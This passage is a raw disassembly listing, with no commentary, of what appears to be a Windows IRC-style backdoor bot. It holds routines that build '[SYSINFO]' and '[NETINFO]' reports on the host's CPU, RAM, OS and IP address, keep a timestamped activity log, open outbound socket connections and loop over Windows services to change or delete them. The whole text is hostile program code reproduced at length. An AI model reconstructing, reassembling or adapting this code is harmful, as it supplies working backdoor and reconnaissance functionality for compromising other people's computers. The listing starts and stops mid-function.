		cmp	[ebp+var_C4], ebx
		jnz	short loc_40AB72
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40AB9B
; ---------------------------------------------------------------------------

loc_40AB72:				; CODE XREF: sub_40AAD1+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40AB84
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40AB9B
; ---------------------------------------------------------------------------

loc_40AB84:				; CODE XREF: sub_40AAD1+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40AB9B

loc_40AB94:				; CODE XREF: sub_40AAD1+7Cj
					; sub_40AAD1+8Ej
		mov	[ebp+var_4], offset dword_42B7D0

loc_40AB9B:				; CODE XREF: sub_40AAD1+73j
					; sub_40AAD1+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40ABD3

loc_40ABA4:				; CODE XREF: sub_40AAD1+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40ABD3
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_42B7C8
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_40ABD3:				; CODE XREF: sub_40AAD1+54j
					; sub_40AAD1+D1j ...
		mov	ax, word_42B7C4
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_43A2A4
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_40AC0C
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax

loc_40AC0C:				; CODE XREF: sub_40AAD1+12Cj
		push	[ebp+arg_4]
		call	sub_40A171
		pop	ecx
		push	eax
		call	dword_43A3F8
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_43A370
		cmp	eax, ebx
		jz	short loc_40AC35
		push	dword ptr [eax]
		jmp	short loc_40AC3A
; ---------------------------------------------------------------------------

loc_40AC35:				; CODE XREF: sub_40AAD1+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_40AC3A:				; CODE XREF: sub_40AAD1+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4154E7
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	dword_421058
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_421084
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_421080
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_421110
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_417348
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40C328
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40A9B2
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40C218
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40C218
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40AA1B
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_415A6A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AAD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD85	proc near		; CODE XREF: sub_40CE55+4422p
					; sub_40CE55+544Dp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		cmp	dword_43A4A0, 0
		jnz	short loc_40ADF9
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_43A288
		test	eax, eax
		jnz	short loc_40ADDA
		lea	eax, [ebp+var_8C]
		push	offset dword_42B844
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_40ADDA:				; CODE XREF: sub_40AD85+40j
		test	[ebp+var_C], 1
		jz	short loc_40ADF2
		push	offset dword_42B83C

loc_40ADE5:				; CODE XREF: sub_40AD85+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	short loc_40AE18
; ---------------------------------------------------------------------------

loc_40ADF2:				; CODE XREF: sub_40AD85+59j
		push	offset dword_42B838
		jmp	short loc_40ADE5
; ---------------------------------------------------------------------------

loc_40ADF9:				; CODE XREF: sub_40AD85+28j
		mov	esi, offset off_42B834
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_4154E7
		add	esp, 10h

loc_40AE18:				; CODE XREF: sub_40AD85+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_415A6A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40AD85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE4B	proc near		; DATA XREF: sub_40CE55+45F7o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_42B988
		call	sub_415570
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_415570
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_415570
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_415570
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_43A2C0
		test	eax, eax
		jz	loc_40AFE5
		cmp	[ebp+var_34], ebx
		jbe	short loc_40AF22
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_416D40
		add	esp, 0Ch

loc_40AF22:				; CODE XREF: sub_40AE4B+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40AF40
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_416D40
		add	esp, 0Ch

loc_40AF40:				; CODE XREF: sub_40AE4B+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40AF5A
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_416D40
		add	esp, 0Ch

loc_40AF5A:				; CODE XREF: sub_40AE4B+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40AF74
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_416D40
		add	esp, 0Ch

loc_40AF74:				; CODE XREF: sub_40AE4B+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_43A368
		call	dword_43A38C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40AFFD
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_43A380
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40B004
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_43A334
		test	eax, eax
		jz	short loc_40AFDE
		push	offset dword_42B958
		jmp	short loc_40B009
; ---------------------------------------------------------------------------

loc_40AFDE:				; CODE XREF: sub_40AE4B+18Aj
		push	offset unk_42B908
		jmp	short loc_40B009
; ---------------------------------------------------------------------------

loc_40AFE5:				; CODE XREF: sub_40AE4B+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_42B8D8
		push	eax
		call	sub_4154E7
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_40B017
; ---------------------------------------------------------------------------

loc_40AFFD:				; CODE XREF: sub_40AE4B+153j
		push	offset unk_42B898
		jmp	short loc_40B009
; ---------------------------------------------------------------------------

loc_40B004:				; CODE XREF: sub_40AE4B+17Bj
		push	offset unk_42B854

loc_40B009:				; CODE XREF: sub_40AE4B+191j
					; sub_40AE4B+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_40B017:				; CODE XREF: sub_40AE4B+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_40B042
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_412D4C
		add	esp, 14h

loc_40B042:				; CODE XREF: sub_40AE4B+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	esi
		call	dword_43A3EC
		push	[ebp+var_4]
		call	dword_43A3EC
		push	[ebp+var_1D8]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048
		pop	edi
		pop	esi
		pop	ebx
sub_40AE4B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B075	proc near		; CODE XREF: sub_40CE55+4355p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43E7C8
		mov	edi, 0B8h

loc_40B089:				; CODE XREF: sub_40B075+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40B0AC
		push	[ebp+arg_0]
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B0AC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43F348
		jl	short loc_40B089
		jmp	short loc_40B0EE
; ---------------------------------------------------------------------------

loc_40B0AC:				; CODE XREF: sub_40B075+17j
					; sub_40B075+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43E7C8[esi]
		push	ebx
		call	sub_415570
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_416D40
		push	9Fh
		lea	eax, dword_43E7E0[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_416D40
		add	esp, 24h
		inc	dword_42E7B8
		pop	ebx

loc_40B0EE:				; CODE XREF: sub_40B075+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40B075	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0F5	proc near		; CODE XREF: sub_40CE55+5588p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_42B998
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43E7C8

loc_40B11F:				; CODE XREF: sub_40B0F5+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40B15A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_42B98C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_415A6A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 2Ch

loc_40B15A:				; CODE XREF: sub_40B0F5+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43F348
		jl	short loc_40B11F
		pop	edi
		pop	esi
		leave
		retn
sub_40B0F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B16D	proc near		; CODE XREF: sub_401000+97p
					; sub_4010B2+314p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_42105C
		mov	ebx, offset dword_43E784
		mov	edi, 80h
		mov	esi, offset dword_43A784

loc_40B18F:				; CODE XREF: sub_40B16D+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40B1A6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_416D40
		add	esp, 0Ch

loc_40B1A6:				; CODE XREF: sub_40B16D+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40B18F
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_415A6A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B16D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B1E1	proc near		; CODE XREF: sub_407BFE+15Bp
					; sub_407D86+1AFp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41748F
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40B16D
		add	esp, 14h
		leave
		retn
sub_40B1E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B20D	proc near		; CODE XREF: sub_40CE55+5482p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_43A784
		xor	ecx, ecx

loc_40B214:				; CODE XREF: sub_40B20D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_43E784
		jl	short loc_40B214
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_42B9CC
		jnz	short loc_40B244
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_40B244:				; CODE XREF: sub_40B20D+1Fj
		push	esi
		call	sub_40B16D
		pop	ecx
		pop	esi
		retn
sub_40B20D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B24D	proc near		; CODE XREF: sub_4033CB+298p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_43A784

loc_40B253:				; CODE XREF: sub_40B24D+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40B268
		push	[esp+4+arg_0]
		push	esi
		call	sub_409B42
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B27A

loc_40B268:				; CODE XREF: sub_40B24D+9j
		add	esi, 80h
		cmp	esi, offset dword_43E784
		jl	short loc_40B253
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40B27A:				; CODE XREF: sub_40B24D+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_40B24D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B27F	proc near		; DATA XREF: sub_40CE55+5532o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40B2D2
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_42BA34
		push	eax
		push	[ebp+var_11C]
		call	sub_412D4C
		add	esp, 14h

loc_40B2D2:				; CODE XREF: sub_40B27F+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40B2F2
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40B2F2
		mov	[ebp+var_8], eax

loc_40B2F2:				; CODE XREF: sub_40B27F+5Aj
					; sub_40B27F+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_43A784

loc_40B2FB:				; CODE XREF: sub_40B27F+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40B355
		cmp	byte ptr [esi],	0
		jz	short loc_40B344
		cmp	[ebp+var_98], 0
		jz	short loc_40B32A
		cmp	[ebp+var_4], 0
		jnz	short loc_40B32A
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_409B42
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B344

loc_40B32A:				; CODE XREF: sub_40B27F+90j
					; sub_40B27F+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_412D4C
		add	esp, 14h

loc_40B344:				; CODE XREF: sub_40B27F+87j
					; sub_40B27F+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_43E784
		jl	short loc_40B2FB

loc_40B355:				; CODE XREF: sub_40B27F+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_42BA04
		push	eax
		call	sub_4154E7
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40B38F
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_412D4C
		add	esp, 14h

loc_40B38F:				; CODE XREF: sub_40B27F+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40B16D
		push	[ebp+var_18]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048
		pop	edi
		pop	esi
sub_40B27F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B3AE	proc near		; CODE XREF: sub_409E15+1Ep
					; sub_40C682+350p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_42BA58
		xor	esi, esi
		mov	ebx, offset dword_42C21C

loc_40B3C1:				; CODE XREF: sub_40B3AE+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_43A36C
		cmp	[ebp+arg_0], esi
		jz	short loc_40B3FB
		push	[ebp+arg_0]
		call	sub_415CF0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_43A3DC
		jmp	short loc_40B405
; ---------------------------------------------------------------------------

loc_40B3FB:				; CODE XREF: sub_40B3AE+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_43A324

loc_40B405:				; CODE XREF: sub_40B3AE+4Bj
		push	[ebp+var_4]
		call	dword_43A394
		add	edi, 8
		cmp	edi, offset dword_42BA70
		jl	short loc_40B3C1
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B3AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B41E	proc near		; CODE XREF: sub_40B459+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_40B453
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh

loc_40B437:				; CODE XREF: sub_40B41E+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_42125C[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40B437
		pop	edi
		pop	ebx

loc_40B453:				; CODE XREF: sub_40B41E+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_40B41E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B459	proc near		; CODE XREF: sub_40BCEF+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_415DC9
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_415BE8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40B4A8

loc_40B47E:				; CODE XREF: sub_40B459+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40B4AC
		inc	ebx
		push	ebx
		push	esi
		call	sub_4174DF
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40B4A8
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_416BB0
		add	esp, 10h
		jmp	short loc_40B47E
; ---------------------------------------------------------------------------

loc_40B4A8:				; CODE XREF: sub_40B459+23j
					; sub_40B459+39j
		xor	eax, eax
		jmp	short loc_40B4C7
; ---------------------------------------------------------------------------

loc_40B4AC:				; CODE XREF: sub_40B459+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_40B41E
		push	esi
		mov	ebx, eax
		call	sub_415E3D
		push	edi
		call	sub_415B40
		add	esp, 10h
		mov	eax, ebx

loc_40B4C7:				; CODE XREF: sub_40B459+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B459	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4CB	proc near		; CODE XREF: sub_40B551+33p
					; sub_40BAB4+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_43A438
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40B547
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_43A3B8
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_43A3F8
		cmp	eax, esi
		jnz	short loc_40B52C
		push	[ebp+arg_0]
		call	dword_43A43C
		test	eax, eax
		jz	short loc_40B547
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_40B52C:				; CODE XREF: sub_40B4CB+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_43A360
		cmp	eax, esi
		jnz	short loc_40B54B
		push	edi
		call	dword_43A450

loc_40B547:				; CODE XREF: sub_40B4CB+1Bj
					; sub_40B4CB+58j
		mov	eax, esi
		jmp	short loc_40B54D
; ---------------------------------------------------------------------------

loc_40B54B:				; CODE XREF: sub_40B4CB+73j
		mov	eax, edi

loc_40B54D:				; CODE XREF: sub_40B4CB+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40B4CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B551	proc near		; DATA XREF: sub_40CE55+A79o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40B4CB
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40B5E4
		lea	eax, [ebp+var_11B4]
		push	offset dword_42BAFC
		push	eax
		call	sub_4154E7
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40B5C7
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_412D4C
		add	esp, 14h

loc_40B5C7:				; CODE XREF: sub_40B551+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B16D
		push	[ebp+var_10]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048

loc_40B5E4:				; CODE XREF: sub_40B551+3Fj
		push	offset byte_438FDC
		push	ebx
		call	sub_40A7FD
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40B64F
		lea	eax, [ebp+var_11B4]
